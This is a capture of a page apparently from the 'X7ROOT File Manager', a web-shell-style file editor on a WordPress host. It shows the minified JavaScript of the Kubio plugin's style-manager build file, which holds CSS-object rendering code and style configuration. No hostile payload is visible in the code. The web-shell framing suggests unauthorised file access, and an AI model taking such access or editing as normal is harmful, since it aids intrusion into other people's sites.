X7ROOT File Manager
Current Path:
/home/gfecatvj/4abetter.us/wp-content/plugins/kubio/build/style-manager
home
/
gfecatvj
/
4abetter.us
/
wp-content
/
plugins
/
kubio
/
build
/
style-manager
/
📁
..
📄
index.asset.php
(158 B)
📄
index.js
(93.75 KB)
Editing: index.js
(()=>{var e={1467:function(e){e.exports=function(){"use strict";function e(e,t){return{}.hasOwnProperty.call(e,t)}function t(t,n,o){t[n]=t[n]||{};for(var a=arguments,r=2;r<a.length;r++)for(var s in o=a[r])e(o,s)&&(t[n][s]=o[s]);return t[n]}function n(e,t,n,o,a){var r=e[t];r=e[t]=t in e?Array.isArray(r)?r:[r]:[],a&&r.indexOf(n)>-1||(o?r.unshift(n):r.push(n))}function o(e,t,o,a,r){for(var s,i,l=e,u=[];l;){if(t(l)){if(a)for(s=0;s<u.length;s++)n(l,a,u[s],!1,!0);u[0]&&r&&(u[0][r]=l),u.unshift(l)}l=l.parent}for(s=0;s<u.length;s++)i=u[s],u[s]=o?i[o]:i;return u}function a(e,t){if(e.indexOf(t)<0)return[e];for(var n,o=0,a=0,r="",s=0,i=[];n=e.charAt(o);o++)r?n==r&&(r=""):('"'!=n&&"'"!=n||(r=n),"("!=n&&"["!=n||a++,")"!=n&&"]"!=n||a--,a||n!=t||(i.push(e.substring(s,o)),s=o+1));return i.concat(e.substring(s))}var r="$id",s="$order",i="$test",l="group",u=Object.keys,c={}.toString,d=c.call([]),p=c.call({});function h(e){return c.call(e)==p||c.call(e)==d}function f(e){return"function"==typeof e}var m=/^@(media|document|supports|page|[\w-]*keyframes)/i,g=/^\s*@/i;function y(p,x,E,w){if(w&&(x.nodes=[],x.ref={},E&&(x.diff={})),(E=E||{}).obj=p,c.call(p)==d){var k=[];E.at=g.exec(E.key);for(var _=0;_<p.length;_++){var A=E[_],T=y(p[_],x,E[_]||{parent:E,src:p,parentNode:k,index:_});x.diff&&A!=T&&n(x.diff,T?"added":"removed",T||A),k.push(T)}return k}p[r]&&(x.ref[p[r]]=E);var C=E.prevVal=E.lastVal;if(i in p){var R=f(p[i])?p[i](!E.disabled,E,x):p[i];if(!R)return;E.test=R}var N=E.children=E.children||{};E.lastRaw=E.rawVal||{},E.lastVal={},E.rawVal={},E.prop={},E.diff={};var O=0|p[s],M=[],I=function(e,o,r){var s=o in N,i=t(N,o,r);i.selPart=i.selPart||a(o,",");var l=y(e,x,i);l&&(N[o]=l),C&&(s?!l&&n(x.diff,"removed",N[o]):l&&n(x.diff,"added",l)),l||delete r.parent.children[o]};for(var P in"selText"in E||function(e,t){var n=t.config,r=o(e,(function(e){return e.key})).pop();if(e.parentRule=o(e.parent,(function(e){return e.type==l})).pop()||null,r){var s,i=r.key,u=i.match(m);u?(e.type=l,e.at=u.pop(),(s="media"==e.at)&&(e.selPart=a(i.replace(m,""),",")),e.groupText=s?"@"+e.at+v(o(e,(function(e){return e.type==l}),"selPart","selChild","selParent"),""," and"):i,e.selText=o(e,(function(e){return e.selText&&!e.at}),"selText").pop()||""):g.test(i)?(e.type="at",e.selText=i):e.selText=""+v(o(r,(function(e){return e.selPart&&!e.at}),"selPart","selChild","selParent"),""," ",!0),e.selText=S(n,"selector",e.selText,e,t),e.selText&&(e.selTextPart=a(e.selText,",")),e!==r&&(e.ruleNode=r)}}(E,x),p)if(e(p,P))if(!h(p[P])||c.call(p[P])==d&&!h(p[P][0])){if("@"==P[0]){I([].concat(p[P]).reduce((function(e,t){return e[t]=";",e}),{}),P,{parent:E,src:p,key:P,inline:!0});continue}var B=function(e){e!=i&&b(E,p,e,x)};O?M.push([B,P]):B(P)}else I(p[P],P,{parent:E,src:p,key:P});if(C){for(P in N)P in p||(n(x.diff,"removed",N[P]),delete N[P]);var D=function(){var e=u(E.lastVal),t=u(C).filter((function(t){return e.indexOf(t)<0}));t.length&&(E.diff.removed=t),u(E.diff).length&&n(x.diff,"changed",E)};O?M.push([D,null]):D()}return O&&n(x,"_order",{order:O,func:M}),x.nodes.push(E),E}function b(t,o,a,r,s){var i,l=t.prevVal,u=t.lastVal,c=(i=a,!isNaN(parseFloat(i))&&isFinite(i)?s:a),d=t.lastRaw[c],p=l&&l[c],m={node:t,result:r};d&&(m.raw=d[0]),[].concat(o[a]).forEach((function(o){m.cooked=p,m.raw=d=f(o)?o(m):o;var a=S(r.config,"value",d,c,t,r,s);if(h(a))for(var i in a)e(a,i)&&b(t,a,i,r,c);else n(t.rawVal,c,d,!0),function(e){return"string"==typeof e&&e||"number"==typeof e&&isFinite(e)}(a)&&(n(t.prop,c,a,!0),p=u[c]=a)})),l&&(c in l?l[c]!=u[c]&&n(t.diff,"changed",c):n(t.diff,"added",c))}function v(e,t,n,o){return e.length?e[0].reduce((function(r,s){var i,l=t?t+n:t;return o?l=(i=a(s,"&")).length>1?i.join(t):l+s:l+=s,r.concat(v(e.slice(1),l,n,o))}),[]):t}function S(e,t){var n=[].slice.call(arguments,2),o=e.plugins;return[].concat(o).reduce((function(e,o){return o[t]?o[t].apply(null,[e].concat(n)):e}),n.shift())}return function(n){return n=function(t,n){for(var o in t=t||{},n)e(n,o)&&!(o in t)&&(t[o]=n[o]);return t}(n,{plugins:[],intros:[]}),function(e,o){var a=function(e,o){return arguments.length>1&&(r.state=o||{}),e&&(r.obj=f(e)?e():e),r.root=y(t({},"",r.intro,r.obj),r,r.root,!0),null!=(a=r)._order&&(a._order.sort((function(e,t){return e.order-t.order})).forEach((function(e){e.func.forEach((function(e){e[0](e[1])}))})),a._order=[]),r=S(n,"post",r),f(n.onUpdate)&&n.onUpdate(r),r;var a},r={intro:{},update:a,config:n};return[].concat(n.intros).forEach((function(e){t(r,"intro",f(e)?e(r):e)})),a(e,o||n.state),r}}}()},9588:e=>{e.exports=function(e,t){var n,o,a=0;function r(){var r,s,i=n,l=arguments.length;e:for(;i;){if(i.args.length===arguments.length){for(s=0;s<l;s++)if(i.args[s]!==arguments[s]){i=i.next;continue e}return i!==n&&(i===o&&(o=i.prev),i.prev.next=i.next,i.next&&(i.next.prev=i.prev),i.next=n,i.prev=null,n.prev=i,n=i),i.val}i=i.next}for(r=new Array(l),s=0;s<l;s++)r[s]=arguments[s];return i={args:r,val:e.apply(null,r)},n?(n.prev=i,i.next=n):o=i,a===t.maxSize?(o=o.prev).next=null:a++,n=i,i.val}return t=t||{},r.clear=function(){n=null,o=null,a=0},r}},9590:e=>{var t="undefined"!=typeof Element,n="function"==typeof Map,o="function"==typeof Set,a="function"==typeof ArrayBuffer&&!!ArrayBuffer.isView;function r(e,s){if(e===s)return!0;if(e&&s&&"object"==typeof e&&"object"==typeof s){if(e.constructor!==s.constructor)return!1;var i,l,u,c;if(Array.isArray(e)){if((i=e.length)!=s.length)return!1;for(l=i;0!=l--;)if(!r(e[l],s[l]))return!1;return!0}if(n&&e instanceof Map&&s instanceof Map){if(e.size!==s.size)return!1;for(c=e.entries();!(l=c.next()).done;)if(!s.has(l.value[0]))return!1;for(c=e.entries();!(l=c.next()).done;)if(!r(l.value[1],s.get(l.value[0])))return!1;return!0}if(o&&e instanceof Set&&s instanceof Set){if(e.size!==s.size)return!1;for(c=e.entries();!(l=c.next()).done;)if(!s.has(l.value[0]))return!1;return!0}if(a&&ArrayBuffer.isView(e)&&ArrayBuffer.isView(s)){if((i=e.length)!=s.length)return!1;for(l=i;0!=l--;)if(e[l]!==s[l])return!1;return!0}if(e.constructor===RegExp)return e.source===s.source&&e.flags===s.flags;if(e.valueOf!==Object.prototype.valueOf)return e.valueOf()===s.valueOf();if(e.toString!==Object.prototype.toString)return e.toString()===s.toString();if((i=(u=Object.keys(e)).length)!==Object.keys(s).length)return!1;for(l=i;0!=l--;)if(!Object.prototype.hasOwnProperty.call(s,u[l]))return!1;if(t&&e instanceof Element)return!1;for(l=i;0!=l--;)if(("_owner"!==u[l]&&"__v"!==u[l]&&"__o"!==u[l]||!e.$$typeof)&&!r(e[u[l]],s[u[l]]))return!1;return!0}return e!=e&&s!=s}e.exports=function(e,t){try{return r(e,t)}catch(e){if((e.message||"").match(/stack|recursion/i))return console.warn("react-fast-compare cannot handle circular refs"),!1;throw e}}}},t={};function n(o){var a=t[o];if(void 0!==a)return a.exports;var r=t[o]={exports:{}};return e[o].call(r.exports,r,r.exports,n),r.exports}n.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return n.d(t,{a:t}),t},n.d=(e,t)=>{for(var o in t)n.o(t,o)&&!n.o(e,o)&&Object.defineProperty(e,o,{enumerable:!0,get:t[o]})},n.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),n.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var o={};(()=>{"use strict";n.r(o),n.d(o,{BackgroundImage:()=>ke,BackgroundParserUtils:()=>s,BlockStyleRender:()=>$t,FlexAlign:()=>Wt,GlobalStyleRender:()=>tn,Height:()=>ao,HeightTypes:()=>ut,HeightTypesEnum:()=>ut,HorizontalAlign:()=>t,HorizontalAlignFlexValues:()=>sn,HorizontalAlignValues:()=>q,HorizontalTextAlignValues:()=>rn,LayoutHelper:()=>mn,LodashBasic:()=>m,Media:()=>e,ParserUtils:()=>Nt,StatesEnum:()=>W,StatesPresetsEnum:()=>nn,Styles:()=>At,StylesEnum:()=>on,StylesPresetsEnum:()=>an,Utils:()=>a,clearStyleManagers:()=>H,columnWidth:()=>i,computeHeightStyle:()=>dt,computeStyle:()=>pt,createWorkerPromise:()=>bn,cssobj:()=>L,defaultValue:()=>ct,dynamicStylesTransforms:()=>Xt,getFilteredTypes:()=>M,getMonochromaticColors:()=>oo,overlayConfig:()=>r,removeStyleManager:()=>F,separatorConfig:()=>hn,states:()=>U,statesById:()=>$,styleManagerInstance:()=>G,types:()=>I,typographyConfig:()=>je,updateAllStyleManagers:()=>V});var e={};n.r(e),n.d(e,{medias:()=>P,mediasById:()=>B});var t={};n.r(t),n.d(t,{HorizontalAlignValues:()=>q});var a={};n.r(a),n.d(a,{addPrimitiveValues:()=>se,addValueUnitString:()=>ie,areAllNonEmpty:()=>oe,computeTBLRCss:()=>he,createGroup:()=>pe,createTBLRDefault:()=>fe,createUnitValueGroup:()=>de,denormalizeComponents:()=>te,denormalizeProps:()=>Z,isNotEmptyButCanBeZero:()=>ne,joinNonEmpty:()=>ae,mapHideClassesByMedia:()=>me,normalizeProps:()=>Q,normalizeStyle:()=>ee,normalizedDefault:()=>Y,toPrimitiveValue:()=>re,toValueUnitObject:()=>ce,toValueUnitString:()=>ue,toValueUnitStringFunction:()=>le,walkStyle:()=>K});var r={};n.r(r),n.d(r,{ShapesValues:()=>_e,computeOverlayShapeStyle:()=>Te,overlayDefaultValue:()=>Ae});var s={};n.r(s),n.d(s,{BackgroundImage:()=>ke,BackgroundTypesEnum:()=>Ne,ShapesValues:()=>_e,computeOverlayShapeStyle:()=>Te,default:()=>Me,defaultValue:()=>Oe,imageDefault:()=>we,overlayDefault:()=>Ae,overlayDefaultValue:()=>Ae,slideShowDefault:()=>Ce,videoDefault:()=>Re});var i={};n.r(i),n.d(i,{ColumnWidthTypes:()=>yt,columnWidthGroup:()=>bt,columnWidthType:()=>gt,default:()=>vt});const l=window.wp.data;var u=n(1467),c=n.n(u);const d=window.lodash;var p=n.n(d),h=n(9590),f=n.n(h);const m=p();m.compactWithExceptions=(e,t=[])=>{let n=-1,o=0;const a=null===e?0:e.length,r=[];for(;++n<a;){const a=e[n];(a||t.includes(a))&&(r[o++]=a)}return r};var g,y=Object.assign||function(e,t){var n,o,a,r,s,i=Object(e);for(n=1;n<arguments.length;n++)for(a in o=Object(arguments[n]))r=o,s=a,{}.hasOwnProperty.call(r,s)&&(i[a]=o[a]);return i},b=(g=0,function(e){return g++,"_"+(e||"")+Math.floor(Math.random()*Math.pow(2,32)).toString(36)+g+"_"});function v(e){return"string"==typeof e}window.requestIdleCallback=window.requestIdleCallback||function(e){const t=Date.now();return setTimeout((function(){e({didTimeout:!1,timeRemaining:()=>Math.max(0,50-(Date.now()-t))})}),1)},window.cancelIdleCallback=window.cancelIdleCallback||function(e){clearTimeout(e)};const S=(e,t,n,o)=>{let a=e.getElementById(t),r=e.head;if(e.ownerDocument!==top&&(r=e.body),a){if(n.append)return a;a.parentNode&&a.parentNode.removeChild(a)}if(a=e.createElement("style"),o?o.after(a):r.appendChild(a),a.setAttribute("id",t),n.attrs)for(const e in n.attrs)a.setAttribute(e,n.attrs[e]);return a},x=e=>v(e)?e.startsWith("--")?`--${(0,d.kebabCase)(e)}`:(0,d.kebabCase)(e):e,E=e=>{return v(e)?e:`${e.selText.replaceAll("@body","")}{${t=e.cssProps,Object.keys(t).map((e=>`${x(e)}:${t[e]}`)).join(";")}}`;var t},w=e=>{const{children:t,selText:n,prop:o}=e;let a=[];if(n){const e=Object.keys(o).reduce(((e,t)=>{if("$"===t.charAt(0)||t.startsWith("ms"))return e;const n=(0,d.last)(o[t]);return""!==n&&void 0!==n?{...e,[t]:n}:e}),{});(0,d.isEmpty)(e)||a.push({selText:n,cssProps:e})}return(Array.isArray(t)?t:Object.values(t)).forEach((e=>{a=a.concat(w(e))})),a},k=(e,t,n)=>{const o=e[n],a=t[n],r=[];return Object.keys(a.cssProps).forEach((e=>{o.cssProps.hasOwnProperty(e)||r.push({key:e,action:"DELETE",value:null})})),Object.keys(o.cssProps).forEach((e=>{const t=o.cssProps[e];t!==a.cssProps[e]&&r.push({key:e,action:"SET",value:t})})),r},_=(e,t,n)=>{const o=w(t),a=n.forceRender?[]:[...e.prevRules||[]],r=((e,t)=>{const n=new Set,o=Math.min(e.length,t.length);for(let a=0;a<o;a++){if(e[a].selText!==t[a].selText){n.add({action:"REPLACE",index:a,payload:e[a]});continue}const o=k(e,t,a);o.length&&n.add({action:"UPDATE",index:a,payload:o})}if(t.length>e.length)for(let o=t.length-1;o>=e.length;o--)n.add({action:"DELETE",index:o,payload:null});if(e.length>t.length)for(let o=t.length;o<e.length;o++)n.add({action:"ADD",index:o,payload:e[o]});return n})(o,a);if(e.prevRules=[...o],e.cssdom.sheet){var s;if(n.forceRender)for(;e.cssdom.sheet.cssRules.length;)e.cssdom.sheet.deleteRule(0);null==n||null===(s=n.beforePatch)||void 0===s||s.call(n,r,o,a),0===e.cssdom.sheet.length?e.cssdom.textContent=e.genCSS():((e,t)=>{t.forEach((({action:t,index:n,payload:o})=>{switch(t){case"DELETE":e.deleteRule(n);break;case"ADD":try{e.insertRule(E(o),n)}catch(e){console.error(e)}break;case"UPDATE":try{((e,t,n)=>{const o=e.cssRules[t];if(!o)throw"Rule does not exists";n.forEach((({key:e,action:t,value:n})=>{const a=x(e);switch(t){case"DELETE":o.style.removeProperty(a);break;case"SET":const{value:e,priority:t}=(e=>{let t="";if(v(e)){const n="!important";t=(e=e.trim()).toLowerCase().endsWith(n)?"important":"",t&&(e=e.slice(0,-1*n.length).trim())}return{value:e,priority:t}})(n);o.style.setProperty(a,e,t)}}))})(e,n,o)}catch(a){console.error(a,{action:t,index:n,payload:o,sheet:e})}break;case"REPLACE":e.deleteRule(n),e.insertRule(E(o),n)}}))})(e.cssdom.sheet,r),window.requestIdleCallback((()=>{var e;null==n||null===(e=n.afterPatch)||void 0===e||e.call(n,r,o,a)}))}else{var i;console.error("CSS Sheet not found",{domEl:null==e?void 0:e.cssdom,document:null==e||null===(i=e.cssdom)||void 0===i?void 0:i.ownerDocument})}},A=e=>{const t=(e=e||{}).id||"cssobj"+b(),n=e.frame;let o=n?n.contentDocument||n.contentWindow.document:document;o=e.document?e.document:o;const a=S(o,t,e);return{post(t){var n;return t.set=function(e,n){const o=Array.isArray(e)?e:[e];let a=t.obj;v(o[0])&&"$"===o[0][0]&&(a=t.ref[o.shift().slice(1)].obj);const r=function(e,t){var n,o,a,r=Array.isArray(t)?t:String(t).split("."),s=1,i={ok:s,path:r,obj:e};for(n=0;n<r.length;n++){if(o=r[n],!e.hasOwnProperty(o)||(null==(a=e[o])||"function"!=typeof a&&"object"!=typeof a)){s=0;break}e=e[o]}return i.ok=s,i.path=r.slice(0,n),i.obj=e,i}(a,o);r.ok&&y(r.obj,n),t.update()},t.cssdom=a,t.prevRules=t.prevRules||[],null!==(n=t.cssdom)&&void 0!==n&&n.sheet||(e=>{var t,n,o;const a=e.cssdom;null!=a&&null!==(t=a.ownerDocument)&&void 0!==t&&null!==(n=t.contains)&&void 0!==n&&n.call(t,a)||null==a||null===(o=a.ownerDocument)||void 0===o||!o.defaultView||(e.prevRules=[],e.cssdom=S(a.ownerDocument,a.id,{attrs:{media:a.getAttribute("media")||"all"}}))})(t),t.renderStyle||(t.renderStyle=function(){var n,o;if(t.disabledDom)return;const a={beforePatch:(null===(n=e)||void 0===n?void 0:n.beforePatch)||d.noop,afterPatch:(null===(o=e)||void 0===o?void 0:o.afterPatch)||d.noop};_(this,this.root,a)}),t.renderForced||(t.renderForced=function(){var t,n;const o={beforePatch:(null===(t=e)||void 0===t?void 0:t.beforePatch)||d.noop,afterPatch:(null===(n=e)||void 0===n?void 0:n.afterPatch)||d.noop};_(this,this.root,{...o,forceRender:!0})}),t.toggleDisable||(t.toggleDisable=e=>{var n;t.disabledDom!==e&&(t.disabledDom=e,null!==(n=t.cssdom)&&void 0!==n&&n.sheet&&(t.cssdom.disabled=e,t.cssdom.sheet.disabled=e),e||t.renderStyle())}),t}}},T=/^ms/;function C(e){return(e=T.test(e)?e.replace(T,"Ms"):e).replace(/[A-Z]/g,(function(e){return"-"+e.toLowerCase()}))}const R=function(e){const t=(e=function(e,t){e=e||{};for(const a in t)n=t,o=a,{}.hasOwnProperty.call(n,o)&&!(a in e)&&(e[a]=t[a]);var n,o;return e}(e,{indent:" ",initIndent:"",newLine:"\n"})).initIndent,n=e.newLine,o=e.indent;return{post(e){const a=[],r=function(e,s){if(!e)return"";if(e.constructor===Array)return e.map((function(e){r(e,s)}));if(e.key&&"$"==e.key.charAt(0))return"";if("media"==e.at&&e.selParent&&!e.pending)return e.pending=!0,e.selParent.postArr.push(e);delete e.pending;const i=e.prop,l=e.selTextPart,u=e.groupText;if(!i)return;!e.parentRule||e.ruleNode||e.selParent||(s+=o),"media"==e.at&&(s=t),e.postArr=[];const c=e.children,d="group"==e.type,p=l&&d?s+o:s,h=l||u?p+o:t,f=Object.keys(i).map((function(t){if("$"==t.charAt(0))return"";for(var o,a="",r=i[t].length;r--;)o=i[t][r],a+=h+(e.inline?e.selText+" "+t+";":C(t)+": "+o+";")+n;return a})).join("");d&&a.push(s+u+" {"+n),f&&a.push(l?p+(e.inline?f:l+" {"+n+f+p+"}"+n):f);for(const t in c)""===t?e.postArr.push(c[t]):r(c[t],s);d&&a.push(s+"}"+n),e.postArr.map((function(e){r(e,s)})),delete e.postArr};return e.genCSS||(e.genCSS=n=>(r(n||e.root,t),a.join(""))),e}}},N=window.wp.hooks,O={constants:{support:{mainAttributeKey:"kubio",elementsKey:"elementsByName",elementsEnum:"elementsEnum",statesKey:"states"}},ancestors:{sticky:{selector:".h-navigation_sticky:not(.extra-1)"}},medias:[{id:"desktop",label:"desktop",icon:"desktop_windows",show:!0,main:!0,gridPrefix:"lg"},{id:"tablet",label:"tablet",icon:"tablet_android",show:!1,width:1024,gridPrefix:"md",query:"@media (min-width: 768px) and (max-width: 1023px)"},{id:"mobile",label:"mobile",icon:"phone_android",show:!1,width:480,query:"@media (max-width: 767px)"}],states:[{selector:"",value:"",id:"normal",label:"Normal"},{previewClass:"_h_state_hover",previewSelector:"._h_state_hover",selector:":hover",value:"hover",id:"hover",label:"Hover"},{previewClass:"_h_state_focus",previewSelector:"._h_state_focus",selector:":focus",value:"focus",id:"focus",label:"Focus"},{previewClass:"_h_state_active",previewSelector:"._h_state_active",selector:":active",value:"active",id:"active",label:"Active"},{previewClass:"_h_state_disabled",previewSelector:"._h_state_disabled",selector:"[disabled]",value:"disabled",id:"disabled",label:"Disabled"},{previewClass:"_h_state_valid",previewSelector:"._h_state_valid",selector:":valid",value:"valid",id:"valid",label:"Valid"},{previewClass:"_h_state_invalid",previewSelector:"._h_state_invalid",selector:":invalid",value:"invalid",id:"invalid",label:"Invalid"},{previewClass:"",previewSelector:".current_page_item",selector:".current_page_item",value:"menuButtonActive",id:"menuButtonActive",label:"Active"},{previewClass:"",previewSelector:".h-custom-active-state",selector:".h-custom-active-state",value:"customActive",id:"customActive",label:"Active"},{previewClass:"",previewSelector:".kubio-is-disabled",selector:".kubio-is-disabled",value:"customDisabled",id:"customDisabled",label:"Disabled"}],definitions:{globalStyle:{elementsEnum:{BODY:"body",V_SPACE_NEGATIVE:"vSpaceNegative",V_SPACE_NEGATIVE_TOP:"vSpaceNegativeTop",V_SPACE:"vSpace",H_SPACE_GROUP:"hSpaceGroup",H_SPACE:"hSpace",SECTION_SPACING:"sectionSpacing",TRANSITION:"transition",FORM_FIELDS:"form-fields",FORM_CHECKS:"form-checks",FORM_LABELS:"form-labels",FORM_BUTTON:"form-button",FORM_SUBMIT_BUTTON:"form-submit-button",FORM_RESET_BUTTON:"form-reset-button",LANGUAGE_SELECTOR:"language-selector",LANGUAGE_SELECTOR_OUTER:"language-selector-outer",LANGUAGE_SELECTOR_FLAGS_CONTAINER:"language-selector-flags-container",LANGUAGE_SELECTOR_FLAGS:"language-selector-flags",LANGUAGE_SELECTOR_NAMES:"language-selector-names"},elementsByName:{body:{selector:""},vSpace:{isGlobalSelector:!0,selector:".h-y-container > *:not(:last-child), .h-x-container-inner > *"},vSpaceNegative:{isGlobalSelector:!0,selector:".h-x-container-inner, .h-column__content > .h-x-container > *:last-child, .h-y-container > .kubio-block-inserter"},vSpaceNegativeTop:{isGlobalSelector:!0,selector:".h-y-container > .kubio-block-inserter"},hSpaceGroup:{selector:".h-x-container-inner",isGlobalSelector:!0},hSpace:{selector:".h-x-container-inner > *",isGlobalSelector:!0},sectionSpacing:{selector:"div.h-section-global-spacing",isGlobalSelector:!0},transition:{isGlobalSelector:!0,selector:".h-global-transition, .h-global-transition-all, .h-global-transition-all *"},"form-fields":{selector:{normal:"input[type='color'], input[type='date'], input[type='datetime'], input[type='datetime-local'], input[type='email'], input[type='month'], input[type='number'], input[type='password'], input[type='search'], input[type='tel'], input[type='text'], input[type='url'], input[type='week'], input[type='time'], input:not([type]), textarea, select",hover:"input[type='color']:hover,input[type='date']:hover,input[type='datetime']:hover,input[type='datetime-local']:hover,input[type='email']:hover,input[type='month']:hover,input[type='number']:hover,input[type='password']:hover,input[type='search']:hover,input[type='tel']:hover,input[type='text']:hover,input[type='url']:hover,input[type='week']:hover,input[type='time']:hover,input:not([type]):hover, textarea:hover, select:hover",focus:"input[type='color']:focus,input[type='date']:focus,input[type='datetime']:focus,input[type='datetime-local']:focus,input[type='email']:focus,input[type='month']:focus,input[type='number']:focus,input[type='password']:focus,input[type='search']:focus,input[type='tel']:focus,input[type='text']:focus,input[type='url']:focus,input[type='week']:focus,input[type='time']:focus,input:not([type]):focus, textarea:focus, select:focus",disabled:"input[type='color']:disabled,input[type='color'][disabled],input[type='date']:disabled,input[type='date'][disabled],input[type='datetime']:disabled,input[type='datetime'][disabled],input[type='datetime-local']:disabled,input[type='datetime-local'][disabled],input[type='email']:disabled,input[type='email'][disabled],input[type='month']:disabled,input[type='month'][disabled],input[type='number']:disabled,input[type='number'][disabled],input[type='password']:disabled,input[type='password'][disabled],input[type='search']:disabled,input[type='search'][disabled],input[type='tel']:disabled,input[type='tel'][disabled],input[type='text']:disabled,input[type='text'][disabled],input[type='url']:disabled,input[type='url'][disabled],input[type='week']:disabled,input[type='week'][disabled],input[type='time']:disabled,input[type='time'][disabled],input:not([type]):disabled,input:not([type])[disabled], textarea:disabled, textarea[disabled], select:disabled,select[disabled]"},withKubioBlockPrefix:!0},"form-checks":{selector:{normal:"input[type='checkbox'], input[type='radio']",hover:"input[type='checkbox']:hover, input[type='radio']:hover",focus:"input[type='checkbox']:focus, input[type='radio']:focus",disabled:"input[type='checkbox']:disabled, input[type='radio']:disabled , input[type='checkbox'][disabled], input[type='radio'][disabled]"},withKubioBlockPrefix:!0},"form-labels":{selector:"label,legend",withKubioBlockPrefix:!0},"form-button":{selector:{normal:"input[type='button'], button",hover:"input[type='button']:hover, button:hover",focus:"input[type='button']:focus, button:focus",disabled:"input[type='button']:disabled, button:disabled, input[type='button'][disabled], button[disabled]"},withKubioBlockPrefix:!0},"form-submit-button":{selector:{normal:"input[type='submit'], button[type='submit']",hover:"input[type='submit']:hover, button[type='submit']:hover",focus:"input[type='submit']:focus, button[type='submit']:focus",disabled:"input[type='submit']:disabled,input[type='submit'][disabled], button[type='submit']:disabled, button[type='submit'][disabled]"},withKubioBlockPrefix:!0},"form-reset-button":{selector:{normal:"input[type='reset'], button[type='reset']",hover:"input[type='reset']:hover, button[type='reset']:hover",focus:"input[type='reset']:focus, button[type='reset']:focus",disabled:"input[type='reset']:disabled,input[type='reset'][disabled], button[type='reset']:disabled, button[type='reset'][disabled]"},withKubioBlockPrefix:!0},"language-selector":{isGlobalSelector:!0,selector:"#kubio-language-selector"},"language-selector-outer":{isGlobalSelector:!0,selector:"#kubio-language-selector .kubio-language-selector"},"language-selector-flags-container":{isGlobalSelector:!0,selector:"#kubio-language-selector .kubio-language-selector :where(.wpml-ls-item, li.lang-item a):not(.extra-1):not(.extra-2)"},"language-selector-flags":{isGlobalSelector:!0,selector:"#kubio-language-selector .kubio-language-selector :where(.wpml-ls-flag, li.lang-item a img)"},"language-selector-names":{isGlobalSelector:!0,selector:"#kubio-language-selector .kubio-language-selector :where(.wpml-ls-native, li.lang-item a span)"}}},layout:{prefixes:{column:{horizontalInnerGap:"h-px",verticalInnerGap:"v-inner"},row:{outer:{horizontalGap:"gutters-row",verticalGap:"gutters-row-v"},inner:{horizontalGap:"gutters-col",verticalGap:"gutters-col-v"}}}},link:{linkTypes:{AUTO:"",IFRAME:"iframe",IMAGE:"image",VIDEO:"video"}},separator:{type:"object",properties:{enabled:{},color:{},position:{},height:{},negative:{},overlap:{},type:{}},default:{enabled:!0,color:"white",height:{value:100,unit:"px"},negative:!0,overlap:!0,type:"tilt"}},unitValuePx:{type:"object",default:{value:"",unit:"px"}},unitValuePercent:{type:"object",default:{value:"",unit:"%"}},unitValueSeconds:{type:"object",default:{value:"",unit:"s"}}},props:{background:{default:{type:"none",color:""},overlay:{default:{enabled:!1,type:"color",color:{value:"rgba(0,0,0,1)",opacity:.5},gradient:"linear-gradient(120deg,rgba(161,196,253,0.7) 0%,rgba(194,233,251,0.7) 100%)",shape:{value:"none",isTile:!1,light:0}}},slideshow:{default:{slides:[],duration:{value:"5000",unit:"ms"},speed:{value:"1000",unit:"ms"}}},video:{default:{type:"internal",internal:{url:"demo-video.mp4",mime:"video/mp4"},external:{url:"https://www.youtube.com/watch?v=xXRy-JQ8G0Y"},poster:{url:"demo-video-cover.jpg"},position:{x:50,y:50}}},image:{default:[{useParallax:!1,useFeaturedImage:!1,forceBackgroundLayer:!1,source:{type:"image",url:"",gradient:"linear-gradient(120deg,rgba(69,58,148,0.8) 0%,rgba(244,59,71,0.8) 100%)"},position:{x:50,y:50},repeat:"no-repeat",size:"cover",sizeCustom:{x:{value:"",unit:"%"},y:{value:"",unit:"%"}},attachment:"scroll"}]},enums:{types:{NONE:"none",IMAGE:"image",GRADIENT:"gradient",VIDEO:"video",SLIDESHOW:"slideshow"}}},columnWidth:{enums:{types:{FLEX_GROW:"flexgrow",FIT_TO_CONTENT:"fitToContent",CUSTOM:"custom",EQUAL_WIDTH_COLUMNS:"equalWidthColumns"},typeToClass:{flexgrow:"",fitToContent:"auto",custom:"auto"},typeToStyle:{custom:{flex:"0 0 auto",msFlex:"0 0 auto"},flexgrow:{flex:"1 1 0",msFlex:"1 1 0%",maxWidth:"100%"},fitToContent:{flex:"0 0 auto",msFlex:"0 0 auto",width:"auto",maxWidth:"100%"}}},default:{type:"equalWidthColumns",custom:{value:"",unit:"%"}}},customHeight:{enums:{types:{FIT_TO_CONTENT:"fit-to-content",FULL_SCREEN:"full-screen",MIN_HEIGHT:"min-height"}},config:{minHeightByType:{FULL_SCREEN:{value:100,unit:"vh"},FIT_TO_CONTENT:"unset"},cssByType:{MIN_HEIGHT:{},FIT_TO_CONTENT:{height:"auto"}}},default:{type:"fit-to-content","min-height":{value:"",unit:"px"}}},separators:{default:{top:{},bottom:{}},enums:{}},border:{default:{top:{width:{value:"",unit:"px"},style:"none",color:"",radius:{left:{value:"",unit:"px"},right:{value:"",unit:"px"}}},right:{width:{value:"",unit:"px"},style:"none",color:""},bottom:{width:{value:"",unit:"px"},style:"none",color:"",radius:{left:{value:"",unit:"px"},right:{value:"",unit:"px"}}},left:{width:{value:"",unit:"px"},style:"none",color:""}},radiusMap:{"border-top-left-radius":"top.radius.left","border-top-right-radius":"top.radius.right","border-bottom-left-radius":"bottom.radius.left","border-bottom-right-radius":"bottom.radius.right"}},padding:{default:{top:{value:"",unit:"px"},bottom:{value:"",unit:"px"},left:{value:"",unit:"px"},right:{value:"",unit:"px"}}},margin:{default:{top:{value:"",unit:"px"},bottom:{value:"",unit:"px"},left:{value:"",unit:"px"},right:{value:"",unit:"px"}}},transform:{default:{origin:{x:{value:"center",customValue:{value:0,unit:"px"}},y:{value:"center",customValue:{value:0,unit:"px"}},z:{value:"custom",customValue:{value:0,unit:"px"}}},translate:[{axis:"x"},{axis:"y"},{axis:"z"}],scale:[{axis:"x"},{axis:"y"},{axis:"z"}],rotate:[{axis:"x"},{axis:"y"},{axis:"z"}],skew:[{axis:"x"},{axis:"y"},{axis:"z"}],perspective:{value:"",unit:"px"}}},boxShadow:{default:{enabled:!1,layers:[{color:"rgba(0,0,0,0.5)",blur:10,spread:2,x:0,y:0,inset:""}]}},str